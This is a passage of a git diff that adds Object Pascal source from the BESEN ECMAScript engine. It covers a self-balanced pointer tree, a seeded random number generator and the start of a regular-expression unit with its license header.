GetValue(Key:pointer):TBESENPointerSelfBalancedTreeValue; + procedure SetValue(Key:pointer;Value:TBESENPointerSelfBalancedTreeValue); + public + RootNode:PBESENPointerSelfBalancedTreeNode; + FirstKey,LastKey:PBESENPointerSelfBalancedTreeNode; + constructor Create; + destructor Destroy; override; + function Find(const Key:pointer;var Value:TBESENPointerSelfBalancedTreeValue):boolean; + function Insert(const Key:pointer;Value:TBESENPointerSelfBalancedTreeValue):PBESENPointerSelfBalancedTreeNode; + procedure Remove(const Key:pointer); + procedure Optimize; + function Keys:TBESENPointerSelfBalancedTreeKeys; + property Values[Key:pointer]:TBESENPointerSelfBalancedTreeValue read GetValue write SetValue; default; + end; + +implementation + +constructor TBESENPointerSelfBalancedTree.Create; +begin + inherited Create; + new(RootNode); + fillchar(RootNode^,sizeof(TBESENPointerSelfBalancedTreeNode),#0); + RootNode^.Level:=$7fffffffffffffff; + FirstKey:=nil; + LastKey:=nil; +end; + +destructor TBESENPointerSelfBalancedTree.Destroy; +begin + ClearNode(RootNode^.Left); + dispose(RootNode); + inherited Destroy; +end; + +function TBESENPointerSelfBalancedTree.First(StartNode:PBESENPointerSelfBalancedTreeNode):PBESENPointerSelfBalancedTreeNode; +begin + try + if not assigned(StartNode^.Left) then begin + result:=nil; + exit; + end; + result:=StartNode; + while assigned(result^.Left) do begin + result:=result^.Left; + end; + except + result:=nil; + end; +end; + +function TBESENPointerSelfBalancedTree.Next(n:PBESENPointerSelfBalancedTreeNode):PBESENPointerSelfBalancedTreeNode; +begin + try + if assigned(n^.Right) then begin + result:=n^.Right; + while assigned(result^.Left) do begin + result:=result^.Left; + end; + end else begin + while assigned(n^.Parent) and (n^.Parent^.Right=n) do begin + n:=n^.Parent; + end; + n:=n^.Parent; + if not assigned(n) then begin + result:=nil; + exit; + end; + result:=n; + end; + except + result:=nil; + end; +end; + +procedure TBESENPointerSelfBalancedTree.Skew(OldParent:PBESENPointerSelfBalancedTreeNode); +var NewParent:PBESENPointerSelfBalancedTreeNode; +begin +{$ifdef UseAssert} + Assert(assigned(OldParent)); +{$endif} + NewParent:=OldParent^.Left; +{$ifdef UseAssert} + Assert(assigned(NewParent)); +{$endif} + if OldParent^.Parent^.Left=OldParent then begin + OldParent^.Parent^.Left:=NewParent; + end else begin + OldParent^.Parent^.Right:=NewParent; + end; + NewParent^.Parent:=OldParent^.Parent; + OldParent^.Parent:=NewParent; + + OldParent^.Left:=NewParent^.Right; + if assigned(OldParent^.Left) then begin + OldParent^.Left^.Parent:=OldParent; + end; + NewParent^.Right:=OldParent; + + if assigned(OldParent^.Left) then begin + OldParent^.level:=OldParent^.Left^.level+1; + end else begin + OldParent^.level:=1; + end; +end; + +function TBESENPointerSelfBalancedTree.Split(OldParent:PBESENPointerSelfBalancedTreeNode):boolean; +var NewParent:PBESENPointerSelfBalancedTreeNode; +begin +{$ifdef UseAssert} + Assert(assigned(OldParent)); +{$endif} + NewParent:=OldParent^.Right; + if assigned(NewParent) and assigned(NewParent^.Right) and (NewParent^.Right^.level=OldParent^.Level) then begin + if OldParent^.Parent^.Left=OldParent then begin + OldParent^.Parent^.Left:=NewParent; + end else begin + OldParent^.Parent^.Right:=NewParent; + end; + NewParent^.Parent:=OldParent^.Parent; + OldParent^.Parent:=NewParent; + + OldParent^.Right:=NewParent^.Left; + if assigned(OldParent^.Right) then begin + OldParent^.Right^.Parent:=OldParent; + end; + NewParent^.Left:=OldParent; + + NewParent^.level:=OldParent^.level+1; + + result:=true; + end else begin + result:=false; + end; +end; + +procedure TBESENPointerSelfBalancedTree.RebalanceAfterLeafAdd(n:PBESENPointerSelfBalancedTreeNode); +begin + // n is a node that has just been inserted and is now a Leaf node. + n^.Level:=1; + n^.Left:=nil; + n^.Right:=nil; + n:=n^.Parent; + while n<>RootNode do begin + if (assigned(n^.Left) and (n^.Level<>(n^.Left^.Level+1))) or ((not assigned(n^.Left)) and (n^.Level<>1)) then begin + // this point the tree is correct, except (AA2) for n->Parent + Skew(n); + // We handle it (a Left add) by changing it into a Right add using Skew + // If the original add was to the Left side of a node that is on the + // Right side of a horizontal link, n now points to the rights side + // of the second horizontal link, which is correct. + // However if the original add was to the Left of node with a horizontal + // link, we must get to the Right side of the second link. + if (not assigned(n^.Right)) or (n^.Level<>n^.Right^.Level) then begin + n:=n^.Parent; + end; + end; + if not Split(n^.Parent) then begin + break; + end; + n:=n^.Parent; + end; +end; + +function TBESENPointerSelfBalancedTree.FindNode(const Key:pointer):PBESENPointerSelfBalancedTreeNode; +var n:PBESENPointerSelfBalancedTreeNode; +begin + try + result:=nil; + n:=RootNode^.Left; + while assigned(n) do begin + if Key=n^.Key then begin + result:=n; + break; + end else if ptruint(Key)<ptruint(n^.Key) then begin + n:=n^.Left; + end else begin + n:=n^.Right; + end; + end; + except + result:=nil; + end; +end; + +function TBESENPointerSelfBalancedTree.Insert(const Key:pointer;Value:TBESENPointerSelfBalancedTreeValue):PBESENPointerSelfBalancedTreeNode; +var n,s:PBESENPointerSelfBalancedTreeNode; + LessThan:boolean; +begin + result:=nil; + try + n:=nil; + s:=RootNode^.Left; + while assigned(s) do begin + if Key=s^.Key then begin + n:=s; + break; + end else if ptruint(Key)<ptruint(s^.Key) then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + end; + if assigned(s) then begin + n^.Value:=Value; + end else begin + new(n); + fillchar(n^,sizeof(TBESENPointerSelfBalancedTreeNode),#0); + n^.Key:=Key; + n^.Value:=Value; + if assigned(LastKey) then begin + n^.PreviousKey:=LastKey; + LastKey^.NextKey:=n; + LastKey:=n; + end else begin + FirstKey:=n; + LastKey:=n; + end; + s:=RootNode; + LessThan:=true; + while (LessThan and assigned(s^.Left)) or ((not LessThan) and assigned(s^.Right)) do begin + if LessThan then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + LessThan:=ptruint(Key)<ptruint(s^.Key); + end; + if LessThan then begin + s^.Left:=n; + end else begin + s^.Right:=n; + end; + n^.Parent:=s; + RebalanceAfterLeafAdd(n); + result:=n; + end; + except + result:=nil; + end; +end; + +procedure TBESENPointerSelfBalancedTree.DeleteNode(n:PBESENPointerSelfBalancedTreeNode); +var Leaf,Temp:PBESENPointerSelfBalancedTreeNode; +begin + try + // If n is not a Leaf, we first swap it out with the Leaf node that just + // precedes it. + Leaf:=n; + if assigned(n^.Left) then begin + Leaf:=n^.Left; + while assigned(Leaf^.Right) do begin + Leaf:=Leaf^.Right; + end; + end else if assigned(n^.Right) then begin + Leaf:=n^.Right; + end; + + if Leaf^.Parent=n then begin + Temp:=Leaf; + end else begin + Temp:=Leaf^.Parent; + end; + if Leaf^.Parent^.Left=Leaf then begin + Leaf^.Parent^.Left:=nil; + end else begin + Leaf^.Parent^.Right:=nil; + end; + + if n<>Leaf then begin + if n^.Parent^.Left=n then begin + n^.Parent^.Left:=Leaf; + end else begin + n^.Parent^.Right:=Leaf; + end; + Leaf^.Parent:=n^.Parent; + if assigned(n^.Left) then begin + n^.Left^.Parent:=Leaf; + end; + Leaf^.Left:=n^.Left; + if assigned(n^.Right) then begin + n^.Right^.Parent:=Leaf; + end; + Leaf^.Right:=n^.Right; + Leaf^.level:=n^.level; + end; + if n<>RootNode then begin + n^.Key:=nil; + if assigned(n^.PreviousKey) then begin + n^.PreviousKey^.NextKey:=n^.NextKey; + end else if FirstKey=n then begin + FirstKey:=n^.NextKey; + end; + if assigned(n^.NextKey) then begin + n^.NextKey^.PreviousKey:=n^.PreviousKey; + end else if LastKey=n then begin + LastKey:=n^.PreviousKey; + end; + dispose(n); + end; + + while Temp<>RootNode do begin + if (assigned(Temp^.Left) and (Temp^.level>(Temp^.Left^.level+1))) or ((not assigned(Temp^.Left)) and (Temp^.level>1)) then begin + dec(Temp^.level); + if Split(Temp) then begin + if Split(Temp) then begin + Skew(Temp^.Parent^.Parent); + end; + break; + end; + Temp:=Temp^.Parent; + end else if (assigned(Temp^.Right) and (Temp^.level<=(Temp^.Right^.level+1))) or ((not assigned(Temp^.Right)) and (Temp^.level<=1)) then begin + break; + end else begin + Skew(Temp); + { if assigned(Temp^.Right) then begin + if assigned(Temp^.Right^.Left) then begin + Temp^.Right^.level:=Temp^.Right^.level+1; + end else begin + Temp^.Right^.level:=1; + end; + end;} + if Temp^.level>Temp^.Parent^.level then begin + Skew(Temp); + Split(Temp^.Parent^.Parent); + break; + end; + Temp:=Temp^.Parent^.Parent; + end; + end; + except + end; +end; + +procedure TBESENPointerSelfBalancedTree.Remove(const Key:pointer); +var n:PBESENPointerSelfBalancedTreeNode; +begin + try + n:=RootNode^.Left; + while assigned(n) do begin + if Key=n^.Key then begin + DeleteNode(n); + break; + end else if ptruint(Key)<ptruint(n^.Key) then begin + n:=n^.Left; + end else begin + n:=n^.Right; + end; + end; + except + end; +end; + +procedure TBESENPointerSelfBalancedTree.ClearNode(var Node:PBESENPointerSelfBalancedTreeNode); +begin + if not assigned(Node) then begin + exit; + end; + Node^.Key:=nil; + if assigned(Node^.PreviousKey) then begin + Node^.PreviousKey^.NextKey:=Node^.NextKey; + end else if FirstKey=Node then begin + FirstKey:=Node^.NextKey; + end; + if assigned(Node^.NextKey) then begin + Node^.NextKey^.PreviousKey:=Node^.PreviousKey; + end else if LastKey=Node then begin + LastKey:=Node^.PreviousKey; + end; + ClearNode(Node^.Left); + ClearNode(Node^.Right); + dispose(Node); + Node:=nil; +end; + +procedure TBESENPointerSelfBalancedTree.OptimizeNode(var Node:PBESENPointerSelfBalancedTreeNode;MoreOptimize:boolean); +var Nodes:array of TBESENPointerSelfBalancedTreeNode; + NodeCount,NodeIndex:integer; + procedure CountNodes(Node:PBESENPointerSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + CountNodes(Node^.Left); + CountNodes(Node^.Right); + inc(NodeCount); + end; + procedure CollectNodes(Node:PBESENPointerSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + CollectNodes(Node^.Left); + if NodeIndex>=length(Nodes) then begin + NodeCount:=NodeIndex+1; + SetLength(Nodes,NodeCount); + end; + Nodes[NodeIndex]:=Node^; + inc(NodeIndex); + CollectNodes(Node^.Right); + end; + procedure FreeNodes(var Node:PBESENPointerSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + Node^.Key:=nil; + if assigned(Node^.PreviousKey) then begin + Node^.PreviousKey^.NextKey:=Node^.NextKey; + end; + if assigned(Node^.NextKey) then begin + Node^.NextKey^.PreviousKey:=Node^.PreviousKey; + end; + if FirstKey=Node then begin + FirstKey:=Node^.NextKey; + end; + if LastKey=Node then begin + LastKey:=Node^.PreviousKey; + end; + CountNodes(Node^.Left); + CountNodes(Node^.Right); + dispose(Node); + Node:=nil; + end; + procedure DoInsertNode(const Node:TBESENPointerSelfBalancedTreeNode); + var n,s:PBESENPointerSelfBalancedTreeNode; + LessThan:boolean; + begin + new(n); + n^:=Node; + n^.Parent:=nil; + n^.Left:=nil; + n^.Right:=nil; + n^.Level:=0; + s:=RootNode; + LessThan:=true; + while (LessThan and assigned(s^.Left)) or ((not LessThan) and assigned(s^.Right)) do begin + if LessThan then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + LessThan:=ptruint(n^.Key)<ptruint(s^.Key); + end; + if LessThan then begin + s^.Left:=n; + end else begin + s^.Right:=n; + end; + n^.Parent:=s; + if assigned(LastKey) then begin + n^.PreviousKey:=LastKey; + LastKey^.NextKey:=n; + LastKey:=n; + end else begin + FirstKey:=n; + LastKey:=n; + end; + if not MoreOptimize then begin + RebalanceAfterLeafAdd(n); + end; + end; + procedure RepairNodes(var Node:PBESENPointerSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + RepairNodes(Node^.Left); + RepairNodes(Node^.Right); + if assigned(Node^.Left) and assigned(Node^.Right) then begin + Node^.Level:=Node^.Left^.Level+1; + end else begin + Node^.Level:=1; + end; + end; + procedure ReinsertNodesForRepair(LowNode,HighNode:integer); + var MiddleNode:integer; + begin + if HighNode<LowNode then begin + exit; + end; + MiddleNode:=LowNode+((HighNode-LowNode) div 2); + DoInsertNode(Nodes[MiddleNode]); + ReinsertNodesForRepair(LowNode,MiddleNode-1); + ReinsertNodesForRepair(MiddleNode+1,HighNode); + end; + procedure ReinsertNodes(LowNode,HighNode:integer); + var i:integer; + begin + for i:=LowNode to HighNode do begin + DoInsertNode(Nodes[i]); + end; + end; +begin + if not assigned(Node) then begin + exit; + end; + try + Nodes:=nil; + NodeCount:=0; + CountNodes(Node); + SetLength(Nodes,NodeCount); + NodeIndex:=0; + CollectNodes(Node); + FreeNodes(Node); + if MoreOptimize then begin + ReinsertNodesForRepair(0,length(Nodes)-1); + RepairNodes(RootNode^.Left); + end else begin + ReinsertNodes(0,length(Nodes)-1); + end; + SetLength(Nodes,0); + except + end; +end; + +function TBESENPointerSelfBalancedTree.Find(const Key:pointer;var Value:TBESENPointerSelfBalancedTreeValue):boolean; +var n:PBESENPointerSelfBalancedTreeNode; +begin + n:=FindNode(Key); + if assigned(n) then begin + Value:=n^.Value; + result:=true; + end else begin + fillchar(Value,sizeof(TBESENPointerSelfBalancedTreeValue),#0); + result:=false; + end; +end; + +procedure TBESENPointerSelfBalancedTree.Optimize; +begin + OptimizeNode(RootNode^.Left,true); +end; + +function TBESENPointerSelfBalancedTree.Keys:TBESENPointerSelfBalancedTreeKeys; +var CurrentNode:PBESENPointerSelfBalancedTreeNode; + Count:integer; +begin + result:=nil; + Count:=0; + CurrentNode:=FirstKey; + while assigned(CurrentNode) do begin + inc(Count); + CurrentNode:=CurrentNode^.NextKey; + end; + SetLength(result,Count); + Count:=0; + CurrentNode:=FirstKey; + while assigned(CurrentNode) do begin + result[Count]:=CurrentNode^.Key; + inc(Count); + CurrentNode:=CurrentNode^.NextKey; + end; +end; + +function TBESENPointerSelfBalancedTree.GetValue(Key:pointer):TBESENPointerSelfBalancedTreeValue; +begin + Find(Key,result); +end; + +procedure TBESENPointerSelfBalancedTree.SetValue(Key:pointer;Value:TBESENPointerSelfBalancedTreeValue); +begin + Insert(Key,Value); +end; + +end. diff --git a/Core/JS/BESENRandomGenerator.pas b/Core/JS/BESENRandomGenerator.pas new file mode 100644 index 0000000..79e7cb3 --- /dev/null +++ b/Core/JS/BESENRandomGenerator.pas @@ -0,0 +1,274 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENRandomGenerator; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}SysUtils,Classes,Math,BESENConstants,BESENTypes, + BESENObject,BESENValue,BESENCollectorObject; + +type TBESENRandomGeneratorTable=array[0..BESEN_CMWCRND_SIZE-1] of longword; + + TBESENRandomGenerator=class(TBESENCollectorObject) + public + Table:TBESENRandomGeneratorTable; + Position:longword; + Carry:longword; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Reinitialize; + function Get:longword; + function GetNumber:TBESENNumber; + end; + +implementation + +uses BESEN; + +constructor TBESENRandomGenerator.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Reinitialize; +end; + +destructor TBESENRandomGenerator.Destroy; +begin + inherited Destroy; +end; + +{$ifdef win32} +type HCRYPTPROV=DWORD; + +const PROV_RSA_FULL=1; + CRYPT_VERIFYCONTEXT=$F0000000; + +function CryptAcquireContext(var phProv:HCRYPTPROV;pszContainer:PAnsiChar;pszProvider:PAnsiChar;dwProvType:DWORD; dwFlags:DWORD):BOOL; stdcall; external advapi32 name 'CryptAcquireContextA'; +function CryptReleaseContext(hProv: HCRYPTPROV; dwFlags: DWORD): BOOL; stdcall; external advapi32 name 'CryptReleaseContext'; +function CryptGenRandom(hProv: HCRYPTPROV; dwLen: DWORD; pbBuffer: Pointer): BOOL; stdcall; external advapi32 name 'CryptGenRandom'; + +function CoCreateGuid(var guid: TGUID): HResult; stdcall; external 'ole32.dll'; +{$endif} + +procedure TBESENRandomGenerator.Reinitialize; +const N=25; + m=7; + s=7; + t=15; + a=longword($8ebfd028); + b=longword($2b5b2500); + c=longword($db8b0000); +var LRG,LFSR,k,y,Seed1,Seed2:longword; + i,j:integer; + x:array[0..N-1] of longword; + UnixTimeInMilliSeconds:int64; +{$ifdef unix} + f:file of longword; + ura,urb:longword; +{$else} +{$ifdef win32} + lpc,lpf:int64; + pp,p:pwidechar; + st:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}; +{$endif} +{$endif} +{$ifdef win32} + function GenerateRandomBytes(var Buffer;Bytes:Cardinal):boolean; + var CryptProv:HCRYPTPROV; + begin + try + if not CryptAcquireContext(CryptProv,nil,nil,PROV_RSA_FULL,CRYPT_VERIFYCONTEXT) then begin + result:=false; + exit; + end; + FillChar(Buffer,Bytes,#0); + result:=CryptGenRandom(CryptProv,Bytes,@Buffer); + CryptReleaseContext(CryptProv,0); + except + result:=false; + end; + end; + function GetRandomGUIDGarbage:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}; + var g:TGUID; + begin + CoCreateGUID(g); + SetLength(result,sizeof(TGUID)); + move(g,result[1],sizeof(TGUID)); + end; +{$endif} +begin + UnixTimeInMilliSeconds:=round((SysUtils.Now-25569.0)*86400000.0); + Seed1:=longword(UnixTimeInMilliSeconds and $ffffffff)+longword(UnixTimeInMilliSeconds shr 32); + Seed2:=longword(UnixTimeInMilliSeconds shr 32) xor not longword(UnixTimeInMilliSeconds and $ffffffff); +{$ifdef unix} + ura:=0; + urb:=0; + AssignFile(f,'/dev/urandom'); + {$i-}System.reset(f,1);{$i+} + if ioresult=0 then begin + System.read(f,ura); + System.read(f,urb); + CloseFile(f); + end else begin + AssignFile(f,'/dev/random'); + {$i-}System.reset(f,1);{$i+} + if ioresult=0 then begin + System.read(f,ura); + System.read(f,urb); + CloseFile(f); + end; + end; + Seed1:=Seed1 xor ura; + Seed2:=Seed2 xor urb; +{$else} +{$ifdef win32} + QueryPerformanceCounter(lpc); + QueryPerformanceFrequency(lpf); + inc(Seed1,timeGetTime+GetCurrentProcessId); + dec(Seed2,GetTickCount-GetCurrentThreadId); + inc(Seed1,paramcount); + Seed1:=Seed1 xor (lpc shr 32); + Seed2:=Seed2 xor lpc; + Seed1:=(Seed1*lpc)+(Seed2*(lpf-Seed1)); + Seed2:=(Seed2*lpc)+(Seed1*(lpf-Seed2)); + pp:=GetEnvironmentStringsW; + if assigned(pp) then begin + p:=pp; + while assigned(p) and (p^<>#0) do begin + while assigned(p) and (p^<>#0) do begin + inc(Seed1,(Seed2*word(p^))); + Seed1:=(Seed1*1664525)+1013904223; + Seed2:=Seed2 xor (Seed1*word(p^)); + Seed2:=Seed2 xor (Seed2 shl 13); + Seed2:=Seed2 xor (Seed2 shr 17); + Seed2:=Seed2 xor (Seed2 shl 5); + inc(p); + end; + inc(p); + end; + FreeEnvironmentStringsW(pointer(pp)); + end; + pp:=pointer(GetCommandLineW); + if assigned(pp) then begin + p:=pp; + while assigned(p) and (p^<>#0) do begin + inc(Seed1,(Seed2*word(p^))); + Seed1:=(Seed1*1664525)+1013904223; + Seed2:=Seed2 xor (Seed1*word(p^)); + Seed2:=Seed2 xor (Seed2 shl 13); + Seed2:=Seed2 xor (Seed2 shr 17); + Seed2:=Seed2 xor (Seed2 shl 5); + inc(p); + end; + end; + SetLength(st,4096); + if GenerateRandomBytes(st[1],length(st)) then begin + for i:=1 to length(st) do begin + inc(Seed1,(Seed2*byte(st[i]))); + Seed1:=(Seed1*1664525)+1013904223; + Seed2:=Seed2 xor (Seed1*byte(st[i])); + Seed2:=Seed2 xor (Seed2 shl 13); + Seed2:=Seed2 xor (Seed2 shr 17); + Seed2:=Seed2 xor (Seed2 shl 5); + end; + end; + st:=GetRandomGUIDGarbage; + for i:=1 to length(st) do begin + inc(Seed1,(Seed2*byte(st[i]))); + Seed1:=(Seed1*1664525)+1013904223; + Seed2:=Seed2 xor (Seed1*byte(st[i])); + Seed2:=Seed2 xor (Seed2 shl 13); + Seed2:=Seed2 xor (Seed2 shr 17); + Seed2:=Seed2 xor (Seed2 shl 5); + end; + SetLength(st,0); +{$endif} +{$endif} + LRG:=not Seed1; + LFSR:=Seed2; + for i:=0 to N-1 do begin + LRG:=(LRG*1664525)+1013904223; + LFSR:=LFSR xor (LFSR shl 13); + LFSR:=LFSR xor (LFSR shr 17); + LFSR:=LFSR xor (LFSR shl 5); + x[i]:=LRG xor not LFSR; + end; + k:=N-1; + LRG:=Seed1; + LFSR:=not Seed2; + for i:=0 to BESEN_CMWCRND_MASK do begin + LRG:=(LRG*1664525)+1013904223; + LFSR:=LFSR xor (LFSR shl 13); + LFSR:=LFSR xor (LFSR shr 17); + LFSR:=LFSR xor (LFSR shl 5); + inc(k); + if k>=N then begin + for j:=0 to (N-m)-1 do begin + x[j]:=x[j+m] xor (x[j] shr 1) xor ((x[j] and 1)*a); + end; + for j:=(N-m) to N-1 do begin + x[j]:=x[j+m-N] xor (x[j] shr 1) xor ((x[j] and 1)*a); + end; + k:=0; + end; + y:=x[k] xor ((x[k] shl s) and b); + y:=y xor ((y shl t) and c); + Table[i]:=(LRG+LFSR) xor y; + end; + Position:=(x[LFSR and $f] xor Table[LRG and BESEN_CMWCRND_MASK]) and BESEN_CMWCRND_MASK; +end; + +function TBESENRandomGenerator.Get:longword; +var t:{$ifdef fpc}qword{$else}int64{$endif}; + x:longword; +begin + Position:=(Position+1) and BESEN_CMWCRND_MASK; + t:=(BESEN_CMWCRND_A*Table[Position])+Carry; + Carry:=t shr 32; + x:=t+Carry; + if x<Carry then begin + inc(x); + inc(Carry); + end; + result:=BESEN_CMWCRND_M-x; + Table[Position]:=result; +end; + +function TBESENRandomGenerator.GetNumber:TBESENNumber; +const f:TBESENNumber=1.0/int64($100000000); +var i:int64; +begin + i:=Get; + result:=i*f; +end; + +end. diff --git a/Core/JS/BESENRegExp.pas b/Core/JS/BESENRegExp.pas new file mode 100644 index 0000000..cbef77a --- /dev/null +++ b/Core/JS/BESENRegExp.pas @@ -0,0 +1,2550 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENRegExp; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue,BESENCollectorObject; + +const breoFAIL=0; // match failed + breoSUCCEED=1; // match succeeded + breoCHAR=2; // match a char class instance + breoZERO=3; // reset counter + breoREACH=4; // test counter over + breoNREACH=5; // test counter under + breoSTART=6; // enter a group + breoEND=7; // exit a group + breoUNDEF=8; // reset a group + breoMARK=9; // record a position + breoFDIST=10; // position test + breoRDIST=11; // position and counter test + breoMNEXT=12; // max-loop + breoRNEXT=13; // reach-loop + breoGOTO=14; // Branch + breoGS=15; // greeedy success + breoNS=16; // non-greeedy success + breoGF=17; // greedy fail + breoNF=18; // non-greeedy fail + breoAS=19; // assert success + breoAF=20; // assert fail + breoBOL=21; // test begin of a line + breoEOL=22; // test end of a line + breoBRK=23; // test work-break + breoNBRK=24; // test non-work-break + breoBACKREF=25; // backreference match + + brecUNDEFINED=longword($ffffffff); + brecINFINITY=-1; + + bresADDR=2; + bresINT=2; + + breMAXSTATESHOLDINMEMORY:longint=16; + + BESENRegExpCacheSize:longint=256; + +type TBESENRegExpOpcode=byte; + + TBESENRegExpFlag=(brefGLOBAL,brefIGNORECASE,brefMULTILINE); + + TBESENRegExpFlags=set of TBESENRegExpFlag; + + TBESENRegExpCharClass=class; + + TBESENRegExpCharClassRange=class + public + CharClass:TBESENRegExpCharClass; + Previous,Next:TBESENRegExpCharClassRange; + Lo,Hi:TBESENUTF32CHAR; + constructor Create(ACharClass:TBESENRegExpCharClass;ALo,AHi:TBESENUTF32CHAR); + constructor CreateBefore(ACharClass:TBESENRegExpCharClass;ABefore:TBESENRegExpCharClassRange;ALo,AHi:TBESENUTF32CHAR); + constructor CreateAfter(ACharClass:TBESENRegExpCharClass;AAfter:TBESENRegExpCharClassRange;ALo,AHi:TBESENUTF32CHAR); + destructor Destroy; override; + end; + + TBESENRegExp=class; + + TBESENRegExpCharClass=class + public + RegExp:TBESENRegExp; + Previous,Next:TBESENRegExpCharClass; + First,Last:TBESENRegExpCharClassRange; + Inverted:longbool; + Canonicalized:longbool; + constructor Create(ARegExp:TBESENRegExp); + destructor Destroy; override; + procedure Clear; + procedure Dump; + procedure DebugDump; + procedure Optimize; + procedure AddRange(Lo,Hi:TBESENUTF32CHAR;IgnoreCase:boolean=false); + procedure AddChar(c:TBESENUTF32CHAR;IgnoreCase:boolean=false); + procedure TakeoverCombine(From:TBESENRegExpCharClass); + procedure Assign(From:TBESENRegExpCharClass); + procedure Append(From:TBESENRegExpCharClass); + procedure Invert; + procedure Canonicalize; + function Count:longword; + function Contains(c:TBESENUTF32CHAR):boolean; + function IsSingle:boolean; + end; + + TBESENRegExpCharClasses=array of TBESENRegExpCharClass; + + TBESENRegExpCapture=record + s,e:longword; + end; + + TBESENRegExpCaptures=array of TBESENRegExpCapture; + + TBESENRegExpValue=longint; + + TBESENRegExpValues=array of TBESENRegExpValue; + + TBESENRegExpState=class + public + RegExp:TBESENRegExp; + Previous,Next:TBESENRegExpState; + Captures:TBESENRegExpCaptures; + Counters:TBESENRegExpValues; + Marks:TBESENRegExpValues; + constructor Create(ARegExp:TBESENRegExp); + destructor Destroy; override; + end; + + TBESENRegExp=class(TBESENCollectorObject) + private + FirstCharClass,LastCharClass:TBESENRegExpCharClass; + FirstState,LastState,CurrentState:TBESENRegExpState; + CountStates:longint; + function InternCharClass(c:TBESENRegExpCharClass):longint; + function CodePos:longint; + procedure CodePosSet(p:longint); + procedure CodeAdd(c:longint); + procedure CodePatch(p,c:longint); + procedure CodeInsert(p,n:longint); + procedure CodeAddI(c:longint); + procedure CodeAddA(c:longint); + procedure CodePatchI(p,c:longint); + procedure CodePatchA(p,c:longint); + function AllocateState:TBESENRegExpState; + procedure CleanupStates; + procedure CopyState(const a,b:TBESENRegExpState); + function DisassembleOpcode(PC:longint):TBESENString; + procedure DebugDisassemble; + function Execute(PC:longint;const Input:TBESENString;var State:TBESENRegExpState;var RemainTimeOutSteps:int64):boolean; + public + Source:TBESENString; + ByteCode:TBESENBytes; + ByteCodeLen:longint; + Flags:TBESENRegExpFlags; + CountOfCaptures:longint; + CountOfCounters:longint; + CountOfMarks:longint; + MaxRef:longint; + CharClasses:TBESENRegExpCharClasses; + CharClassesCount:longint; + ReferenceCounter:longint; + constructor Create(AInstance:TObject); override; + destructor Destroy; override; + procedure IncRef; + procedure DecRef; + procedure Compile(const ASource:TBESENString;const AFlags:TBESENRegExpFlags=[]); + function Match(const Input:TBESENString;Index:longint;var Captures:TBESENRegExpCaptures):boolean; + function Disassemble:TBESENString; + procedure DebugDump; + end; + +implementation + +uses BESEN,BESENUtils,BESENStringUtils,BESENErrors; + +type TBESENUTF8ORSINGLESTRING={$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}; + +constructor TBESENRegExpCharClassRange.Create(ACharClass:TBESENRegExpCharClass;ALo,AHi:TBESENUTF32CHAR); +begin + inherited Create; + CharClass:=ACharClass; + Lo:=ALo; + Hi:=AHi; + if assigned(CharClass.Last) then begin + Previous:=CharClass.Last; + CharClass.Last:=self; + Previous.Next:=self; + Next:=nil; + end else begin + CharClass.First:=self; + CharClass.Last:=self; + Previous:=nil; + Next:=nil; + end; +end; + +constructor TBESENRegExpCharClassRange.CreateBefore(ACharClass:TBESENRegExpCharClass;ABefore:TBESENRegExpCharClassRange;ALo,AHi:TBESENUTF32CHAR); +begin + inherited Create; + CharClass:=ACharClass; + Lo:=ALo; + Hi:=AHi; + Previous:=ABefore.Previous; + Next:=ABefore; + ABefore.Previous:=self; + if assigned(Previous) then begin + Previous.Next:=self; + end else begin + CharClass.First:=self; + end; +end; + +constructor TBESENRegExpCharClassRange.CreateAfter(ACharClass:TBESENRegExpCharClass;AAfter:TBESENRegExpCharClassRange;ALo,AHi:TBESENUTF32CHAR); +begin + inherited Create; + CharClass:=ACharClass; + Lo:=ALo; + Hi:=AHi; + Previous:=AAfter; + Next:=AAfter.Next; + AAfter.Next:=self; + if assigned(Next) then 